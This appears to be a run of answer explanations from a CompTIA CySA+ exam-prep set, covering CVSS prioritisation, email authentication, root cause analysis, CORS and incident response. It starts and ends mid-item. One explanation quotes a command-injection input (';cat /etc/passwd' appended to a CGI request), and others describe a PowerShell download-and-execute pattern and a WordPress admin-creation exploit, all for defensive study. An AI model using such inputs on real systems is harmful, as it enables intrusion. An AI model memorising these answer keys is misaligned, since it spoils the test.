Low

No

Yes

Perfect Match. This represents a remote exploit (e.g., a browser drive-by download or malicious site) that triggers when a user clicks a link. It requires no authentication and is easy to execute.

B

Local

Low

Yes

Yes

Incorrect. " Local " usually implies the attacker already has physical access or a foothold. " Auth Required " makes it harder to exploit than A.

C

Network

High

Yes

Yes

Incorrect. " High " complexity and " Auth Required " make this significantly less likely/severe than A for a mass phishing campaign.

D

Local

Low

No

No

Incorrect. " Local " vector and " User Interaction: No " do not align with the specific threat of users clicking links.

3. Conclusion:

Vulnerability A is the highest risk because it is Remotely Exploitable (Network), easy to perform (Complexity: Low), requires No Authentication (anyone who clicks is vulnerable), and directly targets the behavior identified in the threat intelligence (User Interaction: Yes).

Attack Vector (AV:N): The context of " email " typically maps to Network because the payload is delivered over the internet/network stack.

User Interaction (UI:R): CompTIA defines this metric as required when a user must perform an action (like clicking a link or opening an attachment) for the vulnerability to be successfully exploited.

Risk Prioritization: Vulnerabilities with Network vectors and Low complexity are generally prioritized over Local/High Complexity ones because they are easier to scale and automate.

Comprehensive and Detailed Step-by-Step Explanation:The SPF = PASS result confirms the email came from an authorized server, but DKIM = FAIL indicates the message was not properly signed with the expected DomainKeys Identified Mail (DKIM) signature. DMARC = FAIL suggests that because DKIM failed, the overall email authentication failed. This scenario is consistent with a legitimate server sending an unsigned email.

EDR stands for Endpoint Detection and Response, which is a layer of defense that monitors endpoints for malicious activity and provides automated or manual response capabilities. EDR can protect against external threats regardless of the device’s operating system, as it can detect and respond to attacks based on behavioral analysis and threat intelligence. EDR is also one of the tools that CompTIA CySA+ covers in its exam objectives. Official References:

https://www.comptia.org/certifications/cybersecurity-analyst

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

https://resources.infosecinstitute.com/certification/cysa-plus-ia-levels/

Cloud-specific misconfigurations are security issues that arise from improper or inadequate configuration of cloud resources, such as storage buckets, databases, virtual machines, or containers. Cloud-specific misconfigurations may not be detected by the current scanners that are designed for on-premises environments, as they may not have the visibility or access to the cloud resources or the cloud provider’s APIs. Therefore, one of the implications that should be considered on the new hybrid environment is that cloud-specific misconfigurations may not be detected by the current scanners.

Enabling a user account lockout policy is a security measure that can effectively mitigate brute-force attacks. After a predetermined number of consecutive failed login attempts, the account will be locked, preventing the attacker from continuing to try different password combinations. This control directly addresses the issue of multiple failed attempts from the same IP address using a single user account, making it the most effective among the options provided. Option B suggests replacing RDP with another remote access tool, which does not address the brute-force attempt but rather avoids the RDP protocol. Option C, implementing a firewall block, could be effective but does not prevent attacks from other IP addresses and may not be as immediate. Option D, increasing log verbosity, enhances monitoring but does not prevent the attack itself.

The best option to safeguard PII during an incident is to ensure permissions are limited in the investigation team and encrypt the data. This is because limiting permissions reduces the risk of unauthorized access or leakage of sensitive data, and encryption protects the data from being read or modified by anyone who does not have the decryption key. Option A is not correct because closing the data may hinder the investigation process and prevent collaboration with other parties who may need access to the data. Option C is not correct because deleting data that is no longer needed may violate legal or regulatory requirements for data retention, and may also destroy potential evidence for the incident. Option D is not correct because opening permissions to the company may expose the data to more people than necessary, increasing the risk of compromise or misuse.

Wireshark is a network protocol analyzer that allows analysts to capture and inspect data packets traveling through a network. This makes it ideal for investigating unusual network activity, as it provides detailed insights into the nature and content of network traffic. In this case, Wireshark can help identify potentially malicious packets and understand the nature of the observed traffic. Options A (WAF) and C (EDR) are primarily used for monitoring and protecting web applications and endpoints, respectively, and Nmap (D) is typically used for network discovery and mapping, not detailed traffic analysis. According to CompTIA CySA+, packet analysis tools like Wireshark are invaluable for deep-dive investigations into network anomalies.

Thegoal of forensic analysisin a post-incident scenario is to identify theroot causeof the incident. This helps prevent future occurrences and enhances the security posture of the organization​.

Option A (Full picture of risks)is more aligned with a risk assessment rather than forensic analysis.

Option B (Notifying law enforcement)depends on the situation, but forensic analysis is performed even when legal action is not involved.

Option C (Further containment)is part of incident response, but forensic analysis happensaftercontainment.

Thus,D is the correct answer, asdetermining root cause is the key objective of forensic analysis​.

The correct answers for key factors in the change management process to reduce the impact of system failures are:

D. Identify assets with dependence that could be impacted by the change.

F. Ensure that all assets are properly listed in the inventory management system.

D. Identify assets with dependence that could be impacted by the change: This is crucial in change management because understanding the interdependencies among assets can help anticipate and mitigate the potential cascading effects of a change. By identifying these dependencies, the organization can plan more effectively for changes and minimize the risk of unintended consequences that could lead to system failures.

F. Ensure that all assets are properly listed in the inventory management system: Maintaining an accurate and comprehensive inventory of assets is fundamental in change management. Knowing exactly what assets the organization possesses and their characteristics allows for better planning and impact analysis when changes are made. This ensures that no critical component is overlooked during the change process, reducing the risk of failures due to incomplete information.

Other Options:

A. Ensure users document system recovery plan prior to deployment: While documenting a system recovery plan is important, it ' s more related to disaster recovery and business continuity planning than directly reducing the impact of system failures due to changes.

B. Perform a full system-level backup following the change: While backups are essential, they are generally a reactive measure to recover from a failure, rather than a proactive measure to reduce the impact of system failures in the first place.

C. Leverage an audit tool to identify changes that are being made: While using an audit tool is helpful for tracking changes and ensuring compliance, it is not directly linked to reducing the impact of system failures due to changes.

E. Require diagrams to be completed for all critical systems: While having diagrams of critical systems is useful for understanding and managing them, it is not a direct method for reducing the impact of system failures due to changes. Diagrams are more about documentation and understanding rather than proactive change management.

Root cause analysis (RCA) is a post-incident activity focused on identifying the underlying cause of an incident/problem so the organization can fix the real cause (not just symptoms) and prevent recurrence. That matches Option B, which describes tracing the origin and eliminating it permanently.

The Sybex CySA+ Study Guide defines RCA in exactly this way:

Exact extract (Sybex Study Guide):

“The process of root cause analysis (RCA) is used to identify why a problem, incident, or issue occurred. Root cause analysis is performed to allow organizations to understand what they need to focus on to prevent future problems…”

The Secbay Press guide also defines RCA as uncovering underlying causes to prevent recurrence:

Exact extract (Secbay Press):

“Root Cause Analysis (RCA)… is a systematic investigation process aimed at identifying the fundamental factors that led to a security incident. It goes beyond addressing symptoms and seeks to uncover the underlying causes to prevent recurrence.”

Why the other options are wrong

A (TTPs): That describes attacker behavior frameworks (e.g., MITRE ATT & CK), not RCA.

C (who/what/when/where/why): That’s an incident reporting structure, not the RCA process.

D (ongoing activities report): That resembles status reporting/incident updates, not root cause determination.

References (CompTIA CySA+ CS0-003 documents / study guides used):

Mike Chapple & David Seidl, CompTIA CySA+ Study Guide (CS0-003): RCA identifies why an incident occurred and helps prevent recurrence

Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): RCA goes beyond symptoms to uncover underlying causes and prevent recurrence

Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): “who/what/when/where/why” belongs to incident reporting context

The root cause analysis identifies the contributing items that facilitated the event is the best reason for conducting a root cause analysis, as it reflects the main goal and benefit of this problem-solving approach. A root cause analysis (RCA) is a process of discovering the root causes of problems in order to identify appropriate solutions. A root cause is the core issue or factor that sets in motion the entire cause-and-effect chain that leads to the problem. A root cause analysis assumes that it is more effective to systematically prevent and solve underlying issues rather than just treating symptoms or putting out fires. A root cause analysis can be performed using various methods, tools, and techniques that help to uncover the causes of problems, such as events and causal factor analysis, change analysis, barrier analysis, or fishbone diagrams. A root cause analysis can help to improve quality, performance, safety, or efficiency by finding and eliminating the sources of problems. The other options are not as accurate as the root cause analysis identifies the contributing items that facilitated the event, as they do not capture the essence or value of conducting a root cause analysis. The root cause analysis ensures that proper timelines were documented is a possible outcome or benefit of conducting a root cause analysis, but it is not the best reason for doing so. Documenting timelines can help to establish the sequence of events and actions that led to the problem, but it does not necessarily identify or address the root causes. The root cause analysis allows the incident to be properly documented for reporting is also a possible outcome or benefit of conducting a root cause analysis, but it is not the best reason for doing so. Documenting and reporting incidents can help to communicate and share information about problems and solutions, but it does not necessarily identify or address the root causes. The root cause analysis develops recommendations to improve the process is another possible outcome or benefit of conducting a root cause analysis, but it is not the best reason for doing so. Developing recommendations can help to implement solutions and prevent future problems, but it does not necessarily identify or address the root causes.

Using CVSS v4.0, the highest-priority remediation is typically the vulnerability that is most remotely exploitable and requires the least attacker effort (low complexity, no special conditions, low/no privileges, and no user interaction).

System D is the strongest “fix first” candidate because it combines:

AV:N (Network) → remotely exploitable over the network; severity increases the more remote the attacker can be.

AC:L (Low) → easier to exploit than High complexity.

AT:N (None) → “does not depend on deployment/execution conditions”; attacker can expect the exploit to work under most instances.

PR:L (Low) → only basic user privileges required (still relatively accessible).

UI:N (None) → most important differentiator vs System A. CVSS v4.0 explicitly states: “The resulting score is greatest when no user interaction is required.”

E:P (Proof-of-Concept) → publicly available PoC code exists (more exploitable than “Unreported”), increasing urgency compared to U.

Why not System A (the closest competitor)?

System A is also AV:N/AC:L/AT:N/PR:L, but it has UI:A (Active), meaning exploitation requires a targeted user to perform specific actions. CVSS v4.0 defines Active (A) as requiring “specific, conscious interactions… or actively subvert protection mechanisms.”

System D’s UI:N makes it exploitable purely at the attacker’s will, which CVSS treats as more severe.

Why the others are lower priority

System B (AV:A, AC:H, AT:P): adjacent-only, high complexity, and attack requirements present → significantly harder/less broadly exploitable.

System C (AV:P) and System E (AV:P): require physical access, which reduces the pool of potential attackers and generally lowers priority versus network-exploitable issues.

References (Official CVSS v4.0 specification used):

FIRST, CVSS v4.0 Specification Document:

User Interaction values (None/Passive/Active) and “score is greatest when no user interaction is required”

Attack Requirements (AT) definitions (None vs Present)

Exploit Maturity (E) values (X/A/P/U) and meanings

Attack Vector remoteness increases severity

In a root cause analysis following unauthorized access, the initial step is usually to review relevant log files. These logs can provide critical information about how and when the attacker gained access.

The first step in a root cause analysis after a data breach is typically to review the logs. This helps the analyst understand how the attacker gained access by providing a detailed record of all events, including unauthorized or abnormal activities. Documenting the incident, interviewing employees, and identifying immediate containment actions are important steps, but they usually follow the initial log review.

ï‚· Select the command that generated the output in tab 1:

netstat -bo

ï‚· Select the command that generated the output in tab 2:

tasklist

ï‚· Identify the file responsible for the malicious behavior:

cmd.exe

Select the command that generated the output in tab 1: The output in tab 1 displays active network connections, which can be generated using the netstat command with options to display the owning process ID.

Select the command that generated the output in tab 1:

netstat -bo

Select the command that generated the output in tab 2: The output in tab 2 lists the running processes with their PIDs and memory usage, which can be generated using the tasklist command.

Select the command that generated the output in tab 2:

tasklist

Identify the file responsible for the malicious behavior: To identify the malicious file, we compare the hashes of the current files against the baseline hashes. From the provided data:

The hash for cmd.exe in the current state (tab 3) is 372ab227fd5ea779c211a1451881d1e1.

The baseline hash for cmd.exe (tab 4) is a2cdef1c445d3890cc3456789058cd21.

Since these hashes do not match, cmd.exe is the file responsible for the malicious behavior.

A signal-shielded bag and a tamper-evident seal are tools that can be used to maintain the integrity of the mobile phone while it is transported. A signal-shielded bag prevents the phone from receiving orsending any signals that could compromise the data or evidence on the device. A tamper-evident seal ensures that the phone has not been opened or altered during the transportation. References: Mobile device forensics, Section: Acquisition

A rollback had been executed on the instance. If a database server is restored to a previous state, it may reintroduce a vulnerability that was previously fixed. This can happen due to backup and recovery operations, configuration changes, or software updates. A rollback can undo the patching or mitigation actions that were applied to remediate the vulnerability. References: Vulnerability Remediation: It’s Not Just Patching, Section: The Remediation Process; Vulnerability assessment for SQL Server, Section: Remediation

Comprehensive Detailed Explanation:The best approach to address the risk of a zero-day attack is mitigation. Here’s an explanation of each option:

A. Avoid

Explanation: Avoiding risk would mean discontinuing the use of the asset, which is not feasible for high-value assets that are essential to operations.

B. Transfer

Explanation: Transferring risk would involve outsourcing or obtaining insurance, but this does not directly reduce the threat of a zero-day exploit.

C. Accept

Explanation: Accepting the risk means acknowledging it without implementing countermeasures, which is not advisable for high-value assets at risk from sophisticated attacks.

D. Mitigate

Explanation: Mitigation involves implementing technical or administrative controls to reduce the impact of an attack. For zero-day exploits, this could include installing network-based protections, enhancing monitoring, or applying threat intelligence to detect or contain potential exploit attempts.

Compensating controls are the best approach to minimize the risk of the outdated servers being compromised, as they can provide an alternative or additional layer of security when the primary control is not feasible or effective. Compensating controls are security measures that are implemented to mitigate the risk of a vulnerability or an attack when the primary control is not feasible or effective. For example, if the servers are running outdated operating systems and cannot be patched, a compensating control could be to isolate them from the rest of the network, or to implement a firewall or an intrusion prevention system to monitor and block any malicious traffic to or from the servers. Compensating controls can help reduce the likelihood or impact of an exploit, but they do not eliminate the risk completely. Therefore, the security analyst should also consider upgrading or replacing the outdated servers as soon as possible.

A risk register typically contains details like ID, name, description, classification of information, and responsible party. It’s used for tracking identified risks and managing them.Recording details like ID, Name, Description, Classification of information, and Responsible party is typically done in a Risk Register. This document is used to identify, assess, manage, and monitor risks within an organization. It ' s not directly related to incident response or change control documentation.

Researching federal laws, regulatory compliance requirements, and organizational policies to document specific reporting SLAs is the best action to address the reporting issue. Reporting SLAs are service level agreements that specify the time frame and the format for notifying the relevant authorities and the affected individuals of a data breach. Reporting SLAs may vary depending on the type and severity of the breach, the type and location of the data, the industry and jurisdiction of the organization, and the internal policies of the organization. By researching and documenting the reporting SLAs for different scenarios, the organization can ensure that it complies with the legal and ethical obligations of data breach notification, and avoid any penalties, fines, or lawsuits that may result from failing to report a breach in a timely and appropriate manner12. References: When and how to report a breach: Data breach reporting best practices, Incident and Breach Management

Determining the asset value of each system is the best action to perform first, as it helps to categorize and prioritize the systems based on the sensitivity of the data they host. The asset value is a measure of how important a system is to the organization, in terms of its financial, operational, or reputational impact. The asset value can help the security analyst to assign a risk level and a protection level to each system, and to allocate resources accordingly. The other actions are not as effective as determining the asset value, as they do not directly address the goal of promoting confidentiality, availability, and integrity of the data. Interviewing the users who access these systems may provide some insight into how the systems are used and what data they contain, but it may not reflect the actual value or sensitivity of the data from an organizational perspective. Scanning the systems to see which vulnerabilities currently exist may help to identify and remediate some security issues, but it does not help to categorize or prioritize the systems based on their data sensitivity. Configuring alerts for vendor-specific zero-day exploits may help to detect and respond to some emerging threats, but it does not help to protect the systems based on their data sensitivity.

Intrusion Detection Systems (IDS) logs provide visibility into network traffic patterns and can help detect insecure or unusual connections. These logs will show if non-secure protocols are used, potentially revealing exposed credentials. According to CompTIA CySA+, IDS logs are essential for identifying malicious activity related to communications and network intrusions. Options like DNS (A) and tcpdump (B) provide network details, but IDS specifically monitors for intrusions and unusual activities relevant to security incidents.

An incident response timeline is a detailed chronological record of all events and actions taken during the response to a security incident. It includes timestamps and descriptions of each step, providing a comprehensive overview of how the incident was detected, contained, mitigated, and resolved. This timeline is crucial for post-incident analysis, helping to understand the effectiveness of the response, identify areas for improvement, and ensure accountability and transparency in the incident handling process.

Comprehensive and Detailed Step-by-Step Explanation:The logs indicate that the OWASP DirBuster tool is being used. This tool is designed for directory brute-forcing to find hidden files or directories on a web server, which aligns with reconnaissance activities. The series of GET and HEAD requests further confirm directory and file enumeration attempts.

Limiting user creation to administrators only would work best to mitigate the attack represented by this snippet. The snippet shows an attempt to exploit a zero-day vulnerability in the ThemeREX Addons WordPress plugin, which allows remote code execution by invoking arbitrary PHP functions via the REST-API endpoint /wp-json/trx_addons/V2/get/sc_layout. In this case, the attacker tries to use the wp_insert_user function to create a new administrator account on the WordPress site12. Limiting user creation to administrators only would prevent the attacker from succeeding, as they would need to provide valid administrator credentials to create a new user. This can be done by using a plugin or a code snippet that restricts user registration to administrators34. Limiting layout creation to administrators only, setting the directory trx_addons to read only for all users, and setting the directory v2 to read only for all users are not effective controls to mitigate the attack, as they do not address the core of the vulnerability, which is the lack of input validation and sanitization on the REST-API endpoint. Moreover, setting directories to read only may affect the functionality of the plugin or the WordPress site56. References: Zero-Day Vulnerability in ThemeREX Addons Now Patched - Wordfence, Mitigating Zero Day Attacks With a Detection, Prevention … - Spiceworks, How to Restrict WordPress User Registration to Specific Email …, How to Limit WordPress User Registration to Specific Domains, WordPress File Permissions: A Guide to Securing Your Website, WordPress File Permissions: What is the Ideal Setting?

Agent-based scansare runlocally on hostsvia installed agents, whichsignificantly reduces network trafficwhile allowing in-depth visibility and accurate scanning. They’re ideal for bandwidth-limited or sensitive networks.

Credentialed scans (A)still transmit data over the network.

Individual scans (B)is ambiguous and not a standard term.

Baseline scans (C)focus on policy compliance, not reducing traffic.

?Reference:

Chapple & Seidl – Vulnerability Management, Chapter 6: Scanning Techniques

CS0-003 Domain 2.1 – Vulnerability Scanning Methods

Comprehensive and Detailed Step-by-Step Explanation:A tabletop exercise is a structured simulation that allows teams to practice and evaluate their incident response procedures and coordination without actual operational impact. These exercises are used to identify gaps in processes and ensure preparedness for real-world threats.

To identify existing vulnerabilities in the web application, the best options are to contract a penetration test and create a bug bounty program. A penetration test simulates attacks against the application to uncover security flaws proactively. A bug bounty program incentivizes external security researchers to find and report vulnerabilities, expanding the testing scope without overburdening internal resources. According to CompTIA CySA+, both methods are highly effective in identifying vulnerabilities from an external perspective, particularly when internal resources are limited. Options like a WAF (A) focus more on prevention than detection, while threat modeling (F) and tabletop exercises (D) are generally proactive measures not focused on active flaw identification.

The best way to begin preparation for a report titled “What We Learned” regarding a recent incident involving a cybersecurity breach is to determine the sophistication of the audience that the report is meant for. The sophistication of the audience refers to their level of technical knowledge, understanding, or interest in cybersecurity topics. Determining the sophistication of the audience can help tailor the report content, language, tone, and format to suit their needs and expectations. Forexample, a report for executive management may be more concise, high-level, and business-oriented than a report for technical staff or peers.

Automation is the best concept to describe the example, as it reflects the use of technology to perform tasks or processes without human intervention. Automation can help to improve efficiency, accuracy, consistency, and scalability of various operations, such as identity and access management (IAM). IAM is a security framework that enables organizations to manage the identities and access rights of users and devices across different systems and applications. IAM can help to ensure that only authorized users and devices can access the appropriate resources at the appropriate time and for the appropriate purpose. IAM can involve various tasks or processes, such as authentication, authorization, provisioning, deprovisioning, auditing, or reporting. Automation can help to simplify and streamline these tasks or processes by using software tools or scripts that can execute predefined actions or workflows based on certain triggers or conditions. For example, automation can help to create, update, or delete user accounts in bulk based on a file or a database, rather than manually entering or modifying each account individually. The example in the question shows that an API is used to insert bulk access requests from a file into an identity management system. An API (Application Programming Interface) is a set of rules or specifications that defines how different software components or systems can communicate and exchange data with each other. An API can help to enable automation by providing a standardized and consistent way to access and manipulate data or functionality of a software component or system. The example in the question shows that an API is used to automate the process of inserting bulk access requests from a file into an identity management system, rather than manually entering each request one by one. The other options are not correct, as they describe different concepts or techniques. Command and control is a term that refers to the ability of an attacker to remotely control a compromised system or device, such as using malware or backdoors. Command and control is not related to what is described in the example. Data enrichment is a term that refers to the process of enhancing or augmenting existing data with additional information from external sources, such as adding demographic or behavioral attributes to customer profiles. Data enrichment is not related to what is described in the example. Single sign-on is a term that refers to an authentication method thatallows users to access multiple systems or applications with one set of credentials, such as using a single username and password for different websites or services. Single sign-on is not related to what is described in the example.

SOAR stands for Security Orchestration, Automation and Response, which is a set of features that can help security teams manage, prioritize and respond to security incidents more efficiently and effectively. SOAR can help decrease the workload without increasing staff by automating repetitive tasks, streamlining workflows, integrating different tools and platforms, and providing actionable insights and recommendations. SOAR is also one of the current trends that CompTIA CySA+ covers in its exam objectives. Official References:

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

https://www.comptia.org/certifications/cybersecurity-analyst

https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

1. Analyze the Screenshot: The provided image shows a vulnerability scan report (likely from OWASP ZAP). The specific alert highlighted in blue is " Cross-Domain Misconfiguration " with 34 occurrences. In CompTIA performance-based questions, the highlighted item dictates the problem you need to solve.

2. Identify the Vulnerability: Cross-Domain Misconfiguration typically refers to issues with CORS (Cross-Origin Resource Sharing).

CORS is a mechanism that allows a server to indicate any other origins (domains, schemes, or ports) than its own from which a browser should permit loading of resources.

A common misconfiguration occurs when the server sends the header Access-Control-Allow-Origin: *. This wildcard tells the browser to allow any website to access the resources on your server, which defeats the browser ' s Same-Origin Policy protection.

3. Evaluate the Solution (Option C): To tune this and fix the vulnerability without breaking functionality for legitimate partners, the analyst should change the configuration from a wildcard (*) to a specific allowlist.

Remediation: Set the Access-Control-Allow-Origin header to strictly define which authorized domains (e.g., https://partner.example.com) are allowed to access the resources.

This aligns perfectly with Option C.

Why the other options are incorrect:

A. Set an HttpOnly flag to force communication by HTTPS:

This is incorrect for two reasons. First, it addresses the " Cookie No HttpOnly Flag " alert, not the highlighted " Cross-Domain " alert. Second, the definition is technically wrong: the HttpOnly flag prevents client-side scripts (like JavaScript) from accessing cookies (mitigating XSS); it does not force HTTPS. The Secure flag or HSTS headers are used to force HTTPS.

B. Block requests without an X-Frame-Options header:

This is the remediation for Clickjacking (seen in the alert list as " Missing Anti-clickjacking Header " ), not Cross-Domain Misconfiguration.

D. Disable the cross-origin resource sharing header:

While removing the header entirely defaults the browser back to the strict Same-Origin Policy (which is secure), " tuning " implies adjusting the setting to work correctly. If the application requires cross-domain communication (which the presence of the header suggests), disabling it entirely would break the application. Configuring it correctly (Option C) is the professional remediation.

Server-Side Request Forgery (SSRF) occurs when an attacker manipulates a web server to make unauthorized internal or external requests, often to access internal resources or exfiltrate data.

A Web Application Firewall (WAF) is the best mitigation because it:

Filters and blocks malicious requests before they reach the server.

Prevents attackers from sending unauthorized requests to internal services.

Can detect and block SSRF patterns in incoming traffic.

Why Not Other Options?

B (CASB) → Used for cloud access control, not effective against SSRF.

C (Forward Proxy) → Helps with outbound traffic control, but SSRF involves incoming requests.

D (MFA) → Helps with authentication but does NOT prevent SSRF attacks.

An Office document with a malicious macro was opened is the most likely explanation for the suspicious activity on the company laptop, as it reflects the common technique of using macros to execute PowerShell commands that download and run malware. A macro is a piece of code that canautomate tasks or perform actions in an Office document, such as a Word file or an Excel spreadsheet. Macros can be useful and legitimate, but they can also be abused by threat actors to deliver malware or perform malicious actions on the system. A malicious macro can be embedded in an Office document that is sent as an attachment in a phishing email or hosted on a compromised website. When the user opens the document, they may be prompted to enable macros or content, which will trigger the execution of the malicious code. The malicious macro can then use PowerShell, which is a scripting language and command-line shell that is built into Windows, to perform various tasks, such as downloading and running malware from a remote URL, bypassing security controls, or establishing persistence on the system. The log excerpt shows that PowerShell was used to download a string from a URL using the WebClient.DownloadString method, which is a common way to fetch and execute malicious code from the internet. The log also shows that PowerShell was used to invoke an expression (iex) that contains obfuscated code, which is another common way to evade detection and analysis. The other options are not as likely as an Office document with a malicious macro was opened, as they do not match the evidence in the log excerpt. A credential-stealing website was visited is possible, but it does not explain why PowerShell was used to download and execute code from a URL. A phishing link in an email was clicked is also possible, but it does not explain what happened after the link was clicked or how PowerShell was involved. A web browser vulnerability was exploited is unlikely, as it does not explain why PowerShell was used to download and execute code from a URL.

The exploit code maturity of a vulnerability is indicated by the E metric in the CVSS temporal score. The value of U means that no exploit code is available or unknown1. The other options are not related to the exploit code maturity, but to other aspects of the vulnerability, such as attack vector, scope, availability, and complexity1.

Sandboxing is a technique that isolates potentially malicious programs or files in a controlled environment, preventing them from affecting the rest of the system. It can help mitigate the effects of a new ransomware attack by preventing it from encrypting or deleting important data or spreading to other devices. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 202; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 210.

The first step should be to perform a public search for malware reports on taskhw.exe, as this file is suspicious for several reasons: it is located in a non-standard path, it has a high CPU usage, it is signed by an unknown entity, and it is only present on one host. A public search can help to determine if this file is a known malware or a legitimate program. If it is malware, the hunter can then take appropriate actions to remove it and prevent further damage. The other options are either premature or ineffective, as they do not provide enough information to assess the threat level of taskhw.exe. References: Cybersecurity Analyst+ - CompTIA, taskhw.exe Windows process - What is it? - file.net, Taskhostw.exe - What Is Taskhostw.exe & Is It Malware? - MalwareTips Forums

A vulnerability that is related to a specific adversary campaign, with IoCs found in the SIEM, should have the highest priority for the mitigation process. This is because it indicates that the vulnerability is actively being exploited by a known threat actor, and that the organization’s security monitoring system has detected signs of compromise. This poses a high risk of data breach, service disruption, or other adverse impacts. References: How to Prioritize Vulnerabilities Effectively: Vulnerability Prioritization Explained, Section: How to prioritize vulnerabilities step by step to avoid drowning in sea of problems; CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 156.

The most likely cause of the issue where an ICS (Industrial Control System) could not be updated due to hardware versioning incompatibility is a legacy system. Legacy systems often have outdated hardware and software that may not be compatible with modern updates and patches. This can pose significant challenges in maintaining security and operational efficiency.

Tocapture and analyze network traffic, the two best tools are:

tcpdump (Option A)– A command-line packet capture tool used for network traffic analysis.

Wireshark (Option D)– A GUI-based network packet analysis tool that provides deep inspection capabilities​.

Option B (SIEM)is forlog aggregationand does notcapturetraffic.

Option C (Vulnerability scanner)identifies weaknesses but does notcapturenetwork traffic.

Option E (Nmap)is used for network discovery and port scanning, not capturing traffic.

Option F (SOAR)automates security processes but does not capture traffic.

Thus,A (tcpdump) and D (Wireshark) are correct, asthey are the best tools for capturing and analyzing anomalous network traffic​.

DMARC (Domain-based Message Authentication, Reporting, and Conformance)helps organizationsprevent email spoofing and phishing by enforcing policies based on SPF and DKIM​.

Option B (DKIM - DomainKeys Identified Mail)verifies message integritybut does not enforce policies.

Option C (SPF - Sender Policy Framework)prevents spoofingbut is not as comprehensive as DMARC.

Option D (SMTP - Simple Mail Transfer Protocol)is just anemail delivery protocol, not a security control.

Thus,A (DMARC) is the correct answer, asit combines SPF and DKIM to prevent spoofing and phishing attacks​.

The correct answer is D. Diamond Model of Intrusion Analysis. The Diamond Model is used to analyze intrusions by examining the relationships between the adversary, capability, infrastructure, and victim. This makes it useful for understanding how an adversary operates, including their tools, infrastructure, tactics, techniques, and procedures.

Exact supporting extract: the Secbay CySA+ guide explains that the Diamond Model highlights four components: adversary, capabilities, infrastructure, and victims. It further states that the adversary element focuses on understanding the adversary’s capabilities, intentions, motivations, tactics, techniques, procedures, and objectives.

The All-in-One CySA+ guide also explains that the Diamond Model provides a structured approach to analyzing cyberattacks and that its four components provide a comprehensive view of an intrusion, allowing analysts to identify attackers’ goals, motivations, tactics, techniques, and infrastructure.

Why the other options are incorrect:

A. OWASP is focused mainly on web application security testing, not adversary method analysis.

B. Penetration Test Framework is used to structure penetration testing activities, not to model adversary intrusion behavior.

C. OSSTMM is a security testing methodology for evaluating systems, networks, and applications.

D. Diamond Model of Intrusion Analysis is best because it is specifically designed to analyze adversary behavior and intrusion relationships.

Reconnaissance is the first stage in the Cyber Kill Chain and involves researching potential targets before carrying out any penetration testing. The reconnaissance stage may include identifying potential targets, finding their vulnerabilities, discovering which third parties are connected to them (and what data they can access), and exploring existing entry points as well as finding new ones. Reconnaissance can take place both online and offline. In this case, an analyst finds that an IP address outside of the company network is being used to run network and vulnerability scans across external-facing assets. This indicates that the analyst is witnessing reconnaissance activity by an attacker. Official References: https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html

The shell script function that could help identify possible network addresses from different source networks belonging to the same company and region is:

function y() { dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ”.in-addr” ’{print $1}’).origin.asn.cymru.com TXT +short }

This function takes an IP address as an argument and performs two DNS lookups using the dig command. The first lookup uses the -x option to perform a reverse DNS lookup and get the hostname associated with the IP address. The second lookup uses the origin.asn.cymru.com domain to get the autonomous system number (ASN) and other information related to the IP address, such as the country code, registry, or allocation date. The function then prints the IP address and the ASN information, which can help identify any network addresses that belong to the same ASN or region

The discovery of unapproved accounts accessing shared data, along with data discrepancies, strongly indicates unauthorized changes.

Indicators of Unauthorized Changes:

Unexpected user permissions found during audits​.

Modified or deleted data without proper documentation.

Altered system or security configurations, allowing unintended access.

Why Not Other Options?

A. Filesystem Anomaly: This refers to unexpected behavior in the file structure, such as corrupt metadata or missing files, rather than unauthorized user access.

B. Illegal Software: Would involve unlicensed or unauthorized applications, not unauthorized file modifications.

D. Data Exfiltration: If data was removed, it might be exfiltration, but in this case, data modifications were detected instead.

To prevent unauthorized changes, security teams should use:

File Integrity Monitoring (FIM) to detect unauthorized modifications.

Access control audits to verify correct user permissions.

SIEM tools to analyze logs for anomalies.

 The first thing that must be done when starting an investigation is to secure the scene. Securing the scene involves isolating and protecting the area where the incident occurred, as well as any potential evidence or witnesses. Securing the scene can help prevent any tampering, contamination, or destruction of evidence, as well as any interference or obstruction of the investigation.

An important aspect that should be included in the lessons-learned step after an incident is to identify any improvements or changes in the incident response plan or procedures. The lessons-learned step is a process that involves reviewing and evaluating the incident response activities and outcomes, as well as identifying and documenting any strengths, weaknesses, gaps, or best practices. Identifying any improvements or changes in the incident response plan or procedures can help enhance the security posture, readiness, or capability of the organization for future incidents

Log entry 4 shows an attempt to exploit the zero-day command injection vulnerability by appending a malicious command (;cat /etc/passwd) to the end of a legitimate request (/cgi-bin/index.cgi?name=John). This command would try to read the contents of the /etc/passwd file, which contains user account information, and could lead to further compromise of the system. The other log entries do not show any signs of command injection, as they do not contain any special characters or commands that could alter the intended behavior of the application. Official References:

https://www.imperva.com/learn/application-security/command-injection/

https://www.zerodayinitiative.com/advisories/published/

The vulnerability that should be patched first, given the above third-party scoring system, is:

TSpirit: Cobain: Yes Grohl: Yes Novo: Yes Smear: No Channing: No

This vulnerability has three out of five metrics marked as Yes, which indicates a high severity level. The metrics Cobain, Grohl, and Novo are more important than Smear and Channing, according to the vulnerability management team. Therefore, this vulnerability poses a greater risk than the other vulnerabilities and should be patched first.

Comprehensive and Detailed Step-by-Step Explanation:Non-persistent virtual desktop infrastructures (VDIs) are the most suitable choice to ensure consistent security across different locations. Non-persistent VDIs revert to their original state after a session, reducing the risk of data leakage or malware persistence. These systems are centrally managed, ensuring uniform security policies regardless of the user ' s location.

Webhooksenable automatic and event-driven interactions between applications. In the context of code repositories and vulnerability scanning, webhooksautomate the scanning processevery time new code is committed. Thisensures continuous security coveragewithout relying on manual triggers, thereby embedding security checks into the development lifecycle efficiently. This automation leads to improved coverage and faster identification of vulnerabilities at the earliest stage possible in the DevSecOps pipeline.

Step 1: Reviewing the Vulnerability Remediation Timeframes

The remediation standards require servers to be patched based on their CVSS score:

CVSS > 9.0: Patch within 7 days

